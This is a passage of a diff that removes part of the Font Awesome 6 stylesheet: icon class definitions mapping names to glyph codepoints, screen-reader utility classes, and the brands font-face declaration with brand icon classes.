- content: "\f637"; }
-
-.fa-thermometer::before {
- content: "\f491"; }
-
-.fa-vr-cardboard::before {
- content: "\f729"; }
-
-.fa-hand-middle-finger::before {
- content: "\f806"; }
-
-.fa-percent::before {
- content: "\25"; }
-
-.fa-percentage::before {
- content: "\25"; }
-
-.fa-truck-moving::before {
- content: "\f4df"; }
-
-.fa-glass-water-droplet::before {
- content: "\e4f5"; }
-
-.fa-display::before {
- content: "\e163"; }
-
-.fa-face-smile::before {
- content: "\f118"; }
-
-.fa-smile::before {
- content: "\f118"; }
-
-.fa-thumbtack::before {
- content: "\f08d"; }
-
-.fa-thumb-tack::before {
- content: "\f08d"; }
-
-.fa-trophy::before {
- content: "\f091"; }
-
-.fa-person-praying::before {
- content: "\f683"; }
-
-.fa-pray::before {
- content: "\f683"; }
-
-.fa-hammer::before {
- content: "\f6e3"; }
-
-.fa-hand-peace::before {
- content: "\f25b"; }
-
-.fa-rotate::before {
- content: "\f2f1"; }
-
-.fa-sync-alt::before {
- content: "\f2f1"; }
-
-.fa-spinner::before {
- content: "\f110"; }
-
-.fa-robot::before {
- content: "\f544"; }
-
-.fa-peace::before {
- content: "\f67c"; }
-
-.fa-gears::before {
- content: "\f085"; }
-
-.fa-cogs::before {
- content: "\f085"; }
-
-.fa-warehouse::before {
- content: "\f494"; }
-
-.fa-arrow-up-right-dots::before {
- content: "\e4b7"; }
-
-.fa-splotch::before {
- content: "\f5bc"; }
-
-.fa-face-grin-hearts::before {
- content: "\f584"; }
-
-.fa-grin-hearts::before {
- content: "\f584"; }
-
-.fa-dice-four::before {
- content: "\f524"; }
-
-.fa-sim-card::before {
- content: "\f7c4"; }
-
-.fa-transgender::before {
- content: "\f225"; }
-
-.fa-transgender-alt::before {
- content: "\f225"; }
-
-.fa-mercury::before {
- content: "\f223"; }
-
-.fa-arrow-turn-down::before {
- content: "\f149"; }
-
-.fa-level-down::before {
- content: "\f149"; }
-
-.fa-person-falling-burst::before {
- content: "\e547"; }
-
-.fa-award::before {
- content: "\f559"; }
-
-.fa-ticket-simple::before {
- content: "\f3ff"; }
-
-.fa-ticket-alt::before {
- content: "\f3ff"; }
-
-.fa-building::before {
- content: "\f1ad"; }
-
-.fa-angles-left::before {
- content: "\f100"; }
-
-.fa-angle-double-left::before {
- content: "\f100"; }
-
-.fa-qrcode::before {
- content: "\f029"; }
-
-.fa-clock-rotate-left::before {
- content: "\f1da"; }
-
-.fa-history::before {
- content: "\f1da"; }
-
-.fa-face-grin-beam-sweat::before {
- content: "\f583"; }
-
-.fa-grin-beam-sweat::before {
- content: "\f583"; }
-
-.fa-file-export::before {
- content: "\f56e"; }
-
-.fa-arrow-right-from-file::before {
- content: "\f56e"; }
-
-.fa-shield::before {
- content: "\f132"; }
-
-.fa-shield-blank::before {
- content: "\f132"; }
-
-.fa-arrow-up-short-wide::before {
- content: "\f885"; }
-
-.fa-sort-amount-up-alt::before {
- content: "\f885"; }
-
-.fa-house-medical::before {
- content: "\e3b2"; }
-
-.fa-golf-ball-tee::before {
- content: "\f450"; }
-
-.fa-golf-ball::before {
- content: "\f450"; }
-
-.fa-circle-chevron-left::before {
- content: "\f137"; }
-
-.fa-chevron-circle-left::before {
- content: "\f137"; }
-
-.fa-house-chimney-window::before {
- content: "\e00d"; }
-
-.fa-pen-nib::before {
- content: "\f5ad"; }
-
-.fa-tent-arrow-turn-left::before {
- content: "\e580"; }
-
-.fa-tents::before {
- content: "\e582"; }
-
-.fa-wand-magic::before {
- content: "\f0d0"; }
-
-.fa-magic::before {
- content: "\f0d0"; }
-
-.fa-dog::before {
- content: "\f6d3"; }
-
-.fa-carrot::before {
- content: "\f787"; }
-
-.fa-moon::before {
- content: "\f186"; }
-
-.fa-wine-glass-empty::before {
- content: "\f5ce"; }
-
-.fa-wine-glass-alt::before {
- content: "\f5ce"; }
-
-.fa-cheese::before {
- content: "\f7ef"; }
-
-.fa-yin-yang::before {
- content: "\f6ad"; }
-
-.fa-music::before {
- content: "\f001"; }
-
-.fa-code-commit::before {
- content: "\f386"; }
-
-.fa-temperature-low::before {
- content: "\f76b"; }
-
-.fa-person-biking::before {
- content: "\f84a"; }
-
-.fa-biking::before {
- content: "\f84a"; }
-
-.fa-broom::before {
- content: "\f51a"; }
-
-.fa-shield-heart::before {
- content: "\e574"; }
-
-.fa-gopuram::before {
- content: "\f664"; }
-
-.fa-earth-oceania::before {
- content: "\e47b"; }
-
-.fa-globe-oceania::before {
- content: "\e47b"; }
-
-.fa-square-xmark::before {
- content: "\f2d3"; }
-
-.fa-times-square::before {
- content: "\f2d3"; }
-
-.fa-xmark-square::before {
- content: "\f2d3"; }
-
-.fa-hashtag::before {
- content: "\23"; }
-
-.fa-up-right-and-down-left-from-center::before {
- content: "\f424"; }
-
-.fa-expand-alt::before {
- content: "\f424"; }
-
-.fa-oil-can::before {
- content: "\f613"; }
-
-.fa-t::before {
- content: "\54"; }
-
-.fa-hippo::before {
- content: "\f6ed"; }
-
-.fa-chart-column::before {
- content: "\e0e3"; }
-
-.fa-infinity::before {
- content: "\f534"; }
-
-.fa-vial-circle-check::before {
- content: "\e596"; }
-
-.fa-person-arrow-down-to-line::before {
- content: "\e538"; }
-
-.fa-voicemail::before {
- content: "\f897"; }
-
-.fa-fan::before {
- content: "\f863"; }
-
-.fa-person-walking-luggage::before {
- content: "\e554"; }
-
-.fa-up-down::before {
- content: "\f338"; }
-
-.fa-arrows-alt-v::before {
- content: "\f338"; }
-
-.fa-cloud-moon-rain::before {
- content: "\f73c"; }
-
-.fa-calendar::before {
- content: "\f133"; }
-
-.fa-trailer::before {
- content: "\e041"; }
-
-.fa-bahai::before {
- content: "\f666"; }
-
-.fa-haykal::before {
- content: "\f666"; }
-
-.fa-sd-card::before {
- content: "\f7c2"; }
-
-.fa-dragon::before {
- content: "\f6d5"; }
-
-.fa-shoe-prints::before {
- content: "\f54b"; }
-
-.fa-circle-plus::before {
- content: "\f055"; }
-
-.fa-plus-circle::before {
- content: "\f055"; }
-
-.fa-face-grin-tongue-wink::before {
- content: "\f58b"; }
-
-.fa-grin-tongue-wink::before {
- content: "\f58b"; }
-
-.fa-hand-holding::before {
- content: "\f4bd"; }
-
-.fa-plug-circle-exclamation::before {
- content: "\e55d"; }
-
-.fa-link-slash::before {
- content: "\f127"; }
-
-.fa-chain-broken::before {
- content: "\f127"; }
-
-.fa-chain-slash::before {
- content: "\f127"; }
-
-.fa-unlink::before {
- content: "\f127"; }
-
-.fa-clone::before {
- content: "\f24d"; }
-
-.fa-person-walking-arrow-loop-left::before {
- content: "\e551"; }
-
-.fa-arrow-up-z-a::before {
- content: "\f882"; }
-
-.fa-sort-alpha-up-alt::before {
- content: "\f882"; }
-
-.fa-fire-flame-curved::before {
- content: "\f7e4"; }
-
-.fa-fire-alt::before {
- content: "\f7e4"; }
-
-.fa-tornado::before {
- content: "\f76f"; }
-
-.fa-file-circle-plus::before {
- content: "\e494"; }
-
-.fa-book-quran::before {
- content: "\f687"; }
-
-.fa-quran::before {
- content: "\f687"; }
-
-.fa-anchor::before {
- content: "\f13d"; }
-
-.fa-border-all::before {
- content: "\f84c"; }
-
-.fa-face-angry::before {
- content: "\f556"; }
-
-.fa-angry::before {
- content: "\f556"; }
-
-.fa-cookie-bite::before {
- content: "\f564"; }
-
-.fa-arrow-trend-down::before {
- content: "\e097"; }
-
-.fa-rss::before {
- content: "\f09e"; }
-
-.fa-feed::before {
- content: "\f09e"; }
-
-.fa-draw-polygon::before {
- content: "\f5ee"; }
-
-.fa-scale-balanced::before {
- content: "\f24e"; }
-
-.fa-balance-scale::before {
- content: "\f24e"; }
-
-.fa-gauge-simple-high::before {
- content: "\f62a"; }
-
-.fa-tachometer::before {
- content: "\f62a"; }
-
-.fa-tachometer-fast::before {
- content: "\f62a"; }
-
-.fa-shower::before {
- content: "\f2cc"; }
-
-.fa-desktop::before {
- content: "\f390"; }
-
-.fa-desktop-alt::before {
- content: "\f390"; }
-
-.fa-m::before {
- content: "\4d"; }
-
-.fa-table-list::before {
- content: "\f00b"; }
-
-.fa-th-list::before {
- content: "\f00b"; }
-
-.fa-comment-sms::before {
- content: "\f7cd"; }
-
-.fa-sms::before {
- content: "\f7cd"; }
-
-.fa-book::before {
- content: "\f02d"; }
-
-.fa-user-plus::before {
- content: "\f234"; }
-
-.fa-check::before {
- content: "\f00c"; }
-
-.fa-battery-three-quarters::before {
- content: "\f241"; }
-
-.fa-battery-4::before {
- content: "\f241"; }
-
-.fa-house-circle-check::before {
- content: "\e509"; }
-
-.fa-angle-left::before {
- content: "\f104"; }
-
-.fa-diagram-successor::before {
- content: "\e47a"; }
-
-.fa-truck-arrow-right::before {
- content: "\e58b"; }
-
-.fa-arrows-split-up-and-left::before {
- content: "\e4bc"; }
-
-.fa-hand-fist::before {
- content: "\f6de"; }
-
-.fa-fist-raised::before {
- content: "\f6de"; }
-
-.fa-cloud-moon::before {
- content: "\f6c3"; }
-
-.fa-briefcase::before {
- content: "\f0b1"; }
-
-.fa-person-falling::before {
- content: "\e546"; }
-
-.fa-image-portrait::before {
- content: "\f3e0"; }
-
-.fa-portrait::before {
- content: "\f3e0"; }
-
-.fa-user-tag::before {
- content: "\f507"; }
-
-.fa-rug::before {
- content: "\e569"; }
-
-.fa-earth-europe::before {
- content: "\f7a2"; }
-
-.fa-globe-europe::before {
- content: "\f7a2"; }
-
-.fa-cart-flatbed-suitcase::before {
- content: "\f59d"; }
-
-.fa-luggage-cart::before {
- content: "\f59d"; }
-
-.fa-rectangle-xmark::before {
- content: "\f410"; }
-
-.fa-rectangle-times::before {
- content: "\f410"; }
-
-.fa-times-rectangle::before {
- content: "\f410"; }
-
-.fa-window-close::before {
- content: "\f410"; }
-
-.fa-baht-sign::before {
- content: "\e0ac"; }
-
-.fa-book-open::before {
- content: "\f518"; }
-
-.fa-book-journal-whills::before {
- content: "\f66a"; }
-
-.fa-journal-whills::before {
- content: "\f66a"; }
-
-.fa-handcuffs::before {
- content: "\e4f8"; }
-
-.fa-triangle-exclamation::before {
- content: "\f071"; }
-
-.fa-exclamation-triangle::before {
- content: "\f071"; }
-
-.fa-warning::before {
- content: "\f071"; }
-
-.fa-database::before {
- content: "\f1c0"; }
-
-.fa-share::before {
- content: "\f064"; }
-
-.fa-mail-forward::before {
- content: "\f064"; }
-
-.fa-bottle-droplet::before {
- content: "\e4c4"; }
-
-.fa-mask-face::before {
- content: "\e1d7"; }
-
-.fa-hill-rockslide::before {
- content: "\e508"; }
-
-.fa-right-left::before {
- content: "\f362"; }
-
-.fa-exchange-alt::before {
- content: "\f362"; }
-
-.fa-paper-plane::before {
- content: "\f1d8"; }
-
-.fa-road-circle-exclamation::before {
- content: "\e565"; }
-
-.fa-dungeon::before {
- content: "\f6d9"; }
-
-.fa-align-right::before {
- content: "\f038"; }
-
-.fa-money-bill-1-wave::before {
- content: "\f53b"; }
-
-.fa-money-bill-wave-alt::before {
- content: "\f53b"; }
-
-.fa-life-ring::before {
- content: "\f1cd"; }
-
-.fa-hands::before {
- content: "\f2a7"; }
-
-.fa-sign-language::before {
- content: "\f2a7"; }
-
-.fa-signing::before {
- content: "\f2a7"; }
-
-.fa-calendar-day::before {
- content: "\f783"; }
-
-.fa-water-ladder::before {
- content: "\f5c5"; }
-
-.fa-ladder-water::before {
- content: "\f5c5"; }
-
-.fa-swimming-pool::before {
- content: "\f5c5"; }
-
-.fa-arrows-up-down::before {
- content: "\f07d"; }
-
-.fa-arrows-v::before {
- content: "\f07d"; }
-
-.fa-face-grimace::before {
- content: "\f57f"; }
-
-.fa-grimace::before {
- content: "\f57f"; }
-
-.fa-wheelchair-move::before {
- content: "\e2ce"; }
-
-.fa-wheelchair-alt::before {
- content: "\e2ce"; }
-
-.fa-turn-down::before {
- content: "\f3be"; }
-
-.fa-level-down-alt::before {
- content: "\f3be"; }
-
-.fa-person-walking-arrow-right::before {
- content: "\e552"; }
-
-.fa-square-envelope::before {
- content: "\f199"; }
-
-.fa-envelope-square::before {
- content: "\f199"; }
-
-.fa-dice::before {
- content: "\f522"; }
-
-.fa-bowling-ball::before {
- content: "\f436"; }
-
-.fa-brain::before {
- content: "\f5dc"; }
-
-.fa-bandage::before {
- content: "\f462"; }
-
-.fa-band-aid::before {
- content: "\f462"; }
-
-.fa-calendar-minus::before {
- content: "\f272"; }
-
-.fa-circle-xmark::before {
- content: "\f057"; }
-
-.fa-times-circle::before {
- content: "\f057"; }
-
-.fa-xmark-circle::before {
- content: "\f057"; }
-
-.fa-gifts::before {
- content: "\f79c"; }
-
-.fa-hotel::before {
- content: "\f594"; }
-
-.fa-earth-asia::before {
- content: "\f57e"; }
-
-.fa-globe-asia::before {
- content: "\f57e"; }
-
-.fa-id-card-clip::before {
- content: "\f47f"; }
-
-.fa-id-card-alt::before {
- content: "\f47f"; }
-
-.fa-magnifying-glass-plus::before {
- content: "\f00e"; }
-
-.fa-search-plus::before {
- content: "\f00e"; }
-
-.fa-thumbs-up::before {
- content: "\f164"; }
-
-.fa-user-clock::before {
- content: "\f4fd"; }
-
-.fa-hand-dots::before {
- content: "\f461"; }
-
-.fa-allergies::before {
- content: "\f461"; }
-
-.fa-file-invoice::before {
- content: "\f570"; }
-
-.fa-window-minimize::before {
- content: "\f2d1"; }
-
-.fa-mug-saucer::before {
- content: "\f0f4"; }
-
-.fa-coffee::before {
- content: "\f0f4"; }
-
-.fa-brush::before {
- content: "\f55d"; }
-
-.fa-mask::before {
- content: "\f6fa"; }
-
-.fa-magnifying-glass-minus::before {
- content: "\f010"; }
-
-.fa-search-minus::before {
- content: "\f010"; }
-
-.fa-ruler-vertical::before {
- content: "\f548"; }
-
-.fa-user-large::before {
- content: "\f406"; }
-
-.fa-user-alt::before {
- content: "\f406"; }
-
-.fa-train-tram::before {
- content: "\e5b4"; }
-
-.fa-user-nurse::before {
- content: "\f82f"; }
-
-.fa-syringe::before {
- content: "\f48e"; }
-
-.fa-cloud-sun::before {
- content: "\f6c4"; }
-
-.fa-stopwatch-20::before {
- content: "\e06f"; }
-
-.fa-square-full::before {
- content: "\f45c"; }
-
-.fa-magnet::before {
- content: "\f076"; }
-
-.fa-jar::before {
- content: "\e516"; }
-
-.fa-note-sticky::before {
- content: "\f249"; }
-
-.fa-sticky-note::before {
- content: "\f249"; }
-
-.fa-bug-slash::before {
- content: "\e490"; }
-
-.fa-arrow-up-from-water-pump::before {
- content: "\e4b6"; }
-
-.fa-bone::before {
- content: "\f5d7"; }
-
-.fa-user-injured::before {
- content: "\f728"; }
-
-.fa-face-sad-tear::before {
- content: "\f5b4"; }
-
-.fa-sad-tear::before {
- content: "\f5b4"; }
-
-.fa-plane::before {
- content: "\f072"; }
-
-.fa-tent-arrows-down::before {
- content: "\e581"; }
-
-.fa-exclamation::before {
- content: "\21"; }
-
-.fa-arrows-spin::before {
- content: "\e4bb"; }
-
-.fa-print::before {
- content: "\f02f"; }
-
-.fa-turkish-lira-sign::before {
- content: "\e2bb"; }
-
-.fa-try::before {
- content: "\e2bb"; }
-
-.fa-turkish-lira::before {
- content: "\e2bb"; }
-
-.fa-dollar-sign::before {
- content: "\24"; }
-
-.fa-dollar::before {
- content: "\24"; }
-
-.fa-usd::before {
- content: "\24"; }
-
-.fa-x::before {
- content: "\58"; }
-
-.fa-magnifying-glass-dollar::before {
- content: "\f688"; }
-
-.fa-search-dollar::before {
- content: "\f688"; }
-
-.fa-users-gear::before {
- content: "\f509"; }
-
-.fa-users-cog::before {
- content: "\f509"; }
-
-.fa-person-military-pointing::before {
- content: "\e54a"; }
-
-.fa-building-columns::before {
- content: "\f19c"; }
-
-.fa-bank::before {
- content: "\f19c"; }
-
-.fa-institution::before {
- content: "\f19c"; }
-
-.fa-museum::before {
- content: "\f19c"; }
-
-.fa-university::before {
- content: "\f19c"; }
-
-.fa-umbrella::before {
- content: "\f0e9"; }
-
-.fa-trowel::before {
- content: "\e589"; }
-
-.fa-d::before {
- content: "\44"; }
-
-.fa-stapler::before {
- content: "\e5af"; }
-
-.fa-masks-theater::before {
- content: "\f630"; }
-
-.fa-theater-masks::before {
- content: "\f630"; }
-
-.fa-kip-sign::before {
- content: "\e1c4"; }
-
-.fa-hand-point-left::before {
- content: "\f0a5"; }
-
-.fa-handshake-simple::before {
- content: "\f4c6"; }
-
-.fa-handshake-alt::before {
- content: "\f4c6"; }
-
-.fa-jet-fighter::before {
- content: "\f0fb"; }
-
-.fa-fighter-jet::before {
- content: "\f0fb"; }
-
-.fa-square-share-nodes::before {
- content: "\f1e1"; }
-
-.fa-share-alt-square::before {
- content: "\f1e1"; }
-
-.fa-barcode::before {
- content: "\f02a"; }
-
-.fa-plus-minus::before {
- content: "\e43c"; }
-
-.fa-video::before {
- content: "\f03d"; }
-
-.fa-video-camera::before {
- content: "\f03d"; }
-
-.fa-graduation-cap::before {
- content: "\f19d"; }
-
-.fa-mortar-board::before {
- content: "\f19d"; }
-
-.fa-hand-holding-medical::before {
- content: "\e05c"; }
-
-.fa-person-circle-check::before {
- content: "\e53e"; }
-
-.fa-turn-up::before {
- content: "\f3bf"; }
-
-.fa-level-up-alt::before {
- content: "\f3bf"; }
-
-.sr-only,
-.fa-sr-only {
- position: absolute;
- width: 1px;
- height: 1px;
- padding: 0;
- margin: -1px;
- overflow: hidden;
- clip: rect(0, 0, 0, 0);
- white-space: nowrap;
- border-width: 0; }
-
-.sr-only-focusable:not(:focus),
-.fa-sr-only-focusable:not(:focus) {
- position: absolute;
- width: 1px;
- height: 1px;
- padding: 0;
- margin: -1px;
- overflow: hidden;
- clip: rect(0, 0, 0, 0);
- white-space: nowrap;
- border-width: 0; }
-:root, :host {
- --fa-style-family-brands: 'Font Awesome 6 Brands';
- --fa-font-brands: normal 400 1em/1 'Font Awesome 6 Brands'; }
-
-@font-face {
- font-family: 'Font Awesome 6 Brands';
- font-style: normal;
- font-weight: 400;
- font-display: block;
- src: url("../webfonts/fa-brands-400.woff2") format("woff2"), url("../webfonts/fa-brands-400.ttf") format("truetype"); }
-
-.fab,
-.fa-brands {
- font-weight: 400; }
-
-.fa-monero:before {
- content: "\f3d0"; }
-
-.fa-hooli:before {
- content: "\f427"; }
-
-.fa-yelp:before {
- content: "\f1e9"; }
-
-.fa-cc-visa:before {
- content: "\f1f0"; }
-
-.fa-lastfm:before {
- content: "\f202"; }
-
-.fa-shopware:before {
- content: "\f5b5"; }
-
-.fa-creative-commons-nc:before {
- content: "\f4e8"; }
-
-.fa-aws:before {
- content: "\f375"; }
-
-.fa-redhat:before {
- content: "\f7bc"; }
-
-.fa-yoast:before {
- content: "\f2b1"; }
-
-.fa-cloudflare:before {
- content: "\e07d"; }
-
-.fa-ups:before {
- content: "\f7e0"; }
-
-.fa-pixiv:before {
- content: "\e640"; }
-
-.fa-wpexplorer:before {
- content: "\f2de"; }
-
-.fa-dyalog:before {
- content: "\f399"; }
-
-.fa-bity:before {
- content: "\f37a"; }
-
-.fa-stackpath:before {
- content: "\f842"; }
-
-.fa-buysellads:before {
- content: "\f20d"; }
-
-.fa-first-order:before {
- content: "\f2b0"; }
-
-.fa-modx:before {
- content: "\f285"; }
-
-.fa-guilded:before {
- content: "\e07e"; }
-
-.fa-vnv:before {
- content: "\f40b"; }
-
-.fa-square-js:before {
- content: "\f3b9"; }
-
-.fa-js-square:before {
- content: "\f3b9"; }
-
-.fa-microsoft:before {
- content: "\f3ca"; }
-
-.fa-qq:before {
- content: "\f1d6"; }
-
-.fa-orcid:before {
- content: "\f8d2"; }
-
-.fa-java:before {
- content: "\f4e4"; }
-
-.fa-invision:before {
- content: "\f7b0"; }
-
-.fa-creative-commons-pd-alt:before {
- content: "\f4ed"; }
-
-.fa-centercode:before {
- content: "\f380"; }
-
-.fa-glide-g:before {
- content: "\f2a6"; }
-
-.fa-drupal:before {
- content: "\f1a9"; }
-
-.fa-jxl:before {
- content: "\e67b"; }
-
-.fa-hire-a-helper:before {
- content: "\f3b0"; }
-
-.fa-creative-commons-by:before {
- content: "\f4e7"; }
-
-.fa-unity:before {
- content: "\e049"; }
-
-.fa-whmcs:before {
- content: "\f40d"; }
-
-.fa-rocketchat:before {
- content: "\f3e8"; }
-
-.fa-vk:before {
- content: "\f189"; }
-
-.fa-untappd:before {
- content: "\f405"; }
-
-.fa-mailchimp:before {
- content: "\f59e"; }
-
-.fa-css3-alt:before {
- content: "\f38b"; }
-
-.fa-square-reddit:before {
- content: "\f1a2"; }
-
-.fa-reddit-square:before {
- content: "\f1a2"; }
-
-.fa-vimeo-v:before {
- content: "\f27d"; }
-
-.fa-contao:before {
- content: "\f26d"; }
-
-.fa-square-font-awesome:before {
- content: "\e5ad"; }
-
-.fa-deskpro:before {
- content: "\f38f"; }
-
-.fa-brave:before {
- content: "\e63c"; }
-
-.fa-sistrix:before {
- content: "\f3ee"; }
-
-.fa-square-instagram:before {
- content: "\e055"; }
-
-.fa-instagram-square:before {
- content: "\e055"; }
-
-.fa-battle-net:before {
- content: "\f835"; }
-
-.fa-the-red-yeti:before {
- content: "\f69d"; }
-
-.fa-square-hacker-news:before {
- content: "\f3af"; }
-
-.fa-hacker-news-square:before {
- content: "\f3af"; }
-
-.fa-edge:before {
- content: "\f282"; }
-
-.fa-threads:before {
- content: "\e618"; }
-
-.fa-napster:before {
- content: "\f3d2"; }
-
-.fa-square-snapchat:before {
- content: "\f2ad"; }
-
-.fa-snapchat-square:before {
- content: "\f2ad"; }
-
-.fa-google-plus-g:before {
- content: "\f0d5"; }
-
-.fa-artstation:before {
- content: "\f77a"; }
-
-.fa-markdown:before {
- content: "\f60f"; }
-
-.fa-sourcetree:before {
- content: "\f7d3"; }
-
-.fa-google-plus:before {
- content: "\f2b3"; }
-
-.fa-diaspora:before {
- content: "\f791"; }
-
-.fa-foursquare:before {
- content: "\f180"; }
-
-.fa-stack-overflow:before {
- content: "\f16c"; }
-
-.fa-github-alt:before {
- content: "\f113"; }
-
-.fa-phoenix-squadron:before {
- content: "\f511"; }
-
-.fa-pagelines:before {
- content: "\f18c"; }
-
-.fa-algolia:before {
- content: "\f36c"; }
-
-.fa-red-river:before {
- content: "\f3e3"; }
-
-.fa-creative-commons-sa:before {
- content: "\f4ef"; }
-
-.fa-safari:before {
- content: "\f267"; }
-
-.fa-google:before {
- content: "\f1a0"; }
-
-.fa-square-font-awesome-stroke:before {
- content: "\f35c"; }
-
-.fa-font-awesome-alt:before {
- content: "\f35c"; }
-
-.fa-atlassian:before {
- content: "\f77b"; }
-
-.fa-linkedin-in:before {
- content: "\f0e1"; }
-
-.fa-digital-ocean:before {
- content: "\f391"; }
-
-.fa-nimblr:before {
- content: "\f5a8"; }
-
-.fa-chromecast:before {
- content: "\f838"; }
-
-.fa-evernote:before {
- content: "\f839"; }
-
-.fa-hacker-news:before {
- content: "\f1d4"; }
-
-.fa-creative-commons-sampling:before {
- content: "\f4f0"; }
-
-.fa-adversal:before {
- content: "\f36a"; }
-
-.fa-creative-commons:before {
- content: "\f25e"; }
-
-.fa-watchman-monitoring:before {
- content: "\e087"; }
-
-.fa-fonticons:before {
- content: "\f280"; }
-
-.fa-weixin:before {
- content: "\f1d7"; }
-
-.fa-shirtsinbulk:before {
- content: "\f214"; }
-
-.fa-codepen:before {
- content: "\f1cb"; }
-
-.fa-git-alt:before {
- content: "\f841"; }
-
-.fa-lyft:before {
- content: "\f3c3"; }
-
-.fa-rev:before {
- content: "\f5b2"; }
-
-.fa-windows:before {
- content: "\f17a"; }
-
-.fa-wizards-of-the-coast:before {
- content: "\f730"; }
-
-.fa-square-viadeo:before {
- content: "\f2aa"; }
-
-.fa-viadeo-square:before {
- content: "\f2aa"; }
-
-.fa-meetup:before {
- content: "\f2e0"; }
-
-.fa-centos:before {
- content: "\f789"; }
-
-.fa-adn:before {
- content: "\f170"; }
-
-.fa-cloudsmith:before {
- content: "\f384"; }
-
-.fa-opensuse:before {
- content: "\e62b"; }
-
-.fa-pied-piper-alt:before {
- content: "\f1a8"; }
-
-.fa-square-dribbble:before {
- content: "\f397"; }
-
-.fa-dribbble-square:before {
- content: "\f397"; }
-
-.fa-codiepie:before {
- content: "\f284"; }
-
-.fa-node:before {
- content: "\f419"; }
-
-.fa-mix:before {
- content: "\f3cb"; }
-
-.fa-steam:before {
- content: "\f1b6"; }
-
-.fa-cc-apple-pay:before {
- content: "\f416"; }
-
-.fa-scribd:before {
- content: "\f28a"; }
-
-.fa-debian:before {
- content: "\e60b"; }
-
-.fa-openid:before {
- content: "\f19b"; }
-
-.fa-instalod:before {
- content: "\e081"; }
-
-.fa-expeditedssl:before {
- content: "\f23e"; }
-
-.fa-sellcast:before {
- content: "\f2da"; }
-
-.fa-square-twitter:before {
- content: "\f081"; }
-
-.fa-twitter-square:before {
- content: "\f081"; }
-
-.fa-r-project:before {
- content: "\f4f7"; }
-
-.fa-delicious:before {
- content: "\f1a5"; }
-
-.fa-freebsd:before {
- content: "\f3a4"; }
-
-.fa-vuejs:before {
- content: "\f41f"; }
-
-.fa-accusoft:before {
- content: "\f369"; }
-
-.fa-ioxhost:before {
- content: "\f208"; }
-
-.fa-fonticons-fi:before {
- content: "\f3a2"; }
-
-.fa-app-store:before {
- content: "\f36f"; }
-
-.fa-cc-mastercard:before {
- content: "\f1f1"; }
-
-.fa-itunes-note:before {
- content: "\f3b5"; }
-
-.fa-golang:before {
- content: "\e40f"; }
-
-.fa-kickstarter:before {
- content: "\f3bb"; }
-
-.fa-square-kickstarter:before {
- content: "\f3bb"; }
-
-.fa-grav:before {
- content: "\f2d6"; }
-
-.fa-weibo:before {
- content: "\f18a"; }
-
-.fa-uncharted:before {
- content: "\e084"; }
-
-.fa-firstdraft:before {
- content: "\f3a1"; }
-
-.fa-square-youtube:before {
- content: "\f431"; }
-
-.fa-youtube-square:before {
- content: "\f431"; }
-
-.fa-wikipedia-w:before {
- content: "\f266"; }
-
-.fa-wpressr:before {
- content: "\f3e4"; }
-
-.fa-rendact:before {
- content: "\f3e4"; }
-
-.fa-angellist:before {
- content: "\f209"; }
-
-.fa-galactic-republic:before {
- content: "\f50c"; }
-
-.fa-nfc-directional:before {
- content: "\e530"; }
-
-.fa-skype:before {
- content: "\f17e"; }
-
-.fa-joget:before {
- content: "\f3b7"; }
-
-.fa-fedora:before {
- content: "\f798"; }
-
-.fa-stripe-s:before {
- content: "\f42a"; }
-
-.fa-meta:before {
- content: "\e49b"; }
-
-.fa-laravel:before {
- content: "\f3bd"; }
-
-.fa-hotjar:before {
- content: "\f3b1"; }
-
-.fa-bluetooth-b:before {
- content: "\f294"; }
-
-.fa-square-letterboxd:before {
- content: "\e62e"; }
-
-.fa-sticker-mule:before {
- content: "\f3f7"; }
-
-.fa-creative-commons-zero:before {
- content: "\f4f3"; }
-
-.fa-hips:before {
- content: "\f452"; }
-
-.fa-behance:before {
- content: "\f1b4"; }
-
-.fa-reddit:before {
- content: "\f1a1"; }
-
-.fa-discord:before {
- content: "\f392"; }
-
-.fa-chrome:before {
- content: "\f268"; }
-
-.fa-app-store-ios:before {
- content: "\f370"; }
-
-.fa-cc-discover:before {
- content: "\f1f2"; }
-
-.fa-wpbeginner:before {
- content: "\f297"; }
-
-.fa-confluence:before {
- content: "\f78d"; }
-
-.fa-shoelace:before {
- content: "\e60c"; }
-
-.fa-mdb:before {
- content: "\f8ca"; }
-
-.fa-dochub:before {
- content: "\f394"; }
-
-.fa-accessible-icon:before {
- content: "\f368"; }
-
-.fa-ebay:before {
- content: "\f4f4"; }
-
-.fa-amazon:before {
- content: "\f270"; }
-
-.fa-unsplash:before {
- content: "\e07c"; }
-
-.fa-yarn:before {
- content: "\f7e3"; }
-
-.fa-square-steam:before {
- content: "\f1b7"; }
-
-.fa-steam-square:before {
- content: "\f1b7"; }
-
-.fa-500px:before {
- content: "\f26e"; }
-
-.fa-square-vimeo:before {
- content: "\f194"; }
-
-.fa-vimeo-square:before {
- content: "\f194"; }
-
-.fa-asymmetrik:before {
- content: "\f372"; }
-
-.fa-font-awesome:before {
- content: "\f2b4"; }
-
-.fa-font-awesome-flag:before {
- content: "\f2b4"; }
-
-.fa-font-awesome-logo-full:before {
- content: "\f2b4"; }
-
-.fa-gratipay:before {
- content: "\f184"; }
-
-.fa-apple:before {
- content: "\f179"; }
-
-.fa-hive:before {
- content: "\e07f"; }
-
-.fa-gitkraken:before {
- content: "\f3a6"; }
-
-.fa-keybase:before {
- content: "\f4f5"; }
-
-.fa-apple-pay:before {
- content: "\f415"; }
-
-.fa-padlet:before {
- content: "\e4a0"; }
-
-.fa-amazon-pay:before {
- content: "\f42c"; }
-
-.fa-square-github:before {
- content: "\f092"; }
-
-.fa-github-square:before {
- content: "\f092"; }
-
-.fa-stumbleupon:before {
- content: "\f1a4"; }
-
-.fa-fedex:before {
- content: "\f797"; }
-
-.fa-phoenix-framework:before {
- content: "\f3dc"; }
-
-.fa-shopify:before {
- content: "\e057"; }
-
-.fa-neos:before {
- content: "\f612"; }
-
-.fa-square-threads:before {
- content: "\e619"; }
-
-.fa-hackerrank:before {
- content: "\f5f7"; }
-
-.fa-researchgate:before {
- content: "\f4f8"; }
-
-.fa-swift:before {
- content: "\f8e1"; }
-
-.fa-angular:before {
- content: "\f420"; }
-
-.fa-speakap:before {
- content: "\f3f3"; }
-
-.fa-angrycreative:before {
- content: "\f36e"; }
-
-.fa-y-combinator:before {
- content: "\f23b"; }
-
-.fa-empire:before {
- content: "\f1d1"; }
-
-.fa-envira:before {
- content: "\f299"; }
-
-.fa-google-scholar:before {
- content: "\e63b"; }
-
-.fa-square-gitlab:before {
- content: "\e5ae"; }
-
-.fa-gitlab-square:before {
- content: "\e5ae"; }
-
-.fa-studiovinari:before {
- content: "\f3f8"; }
-
-.fa-pied-piper:before {
- content: "\f2ae"; }
-
-.fa-wordpress:before {
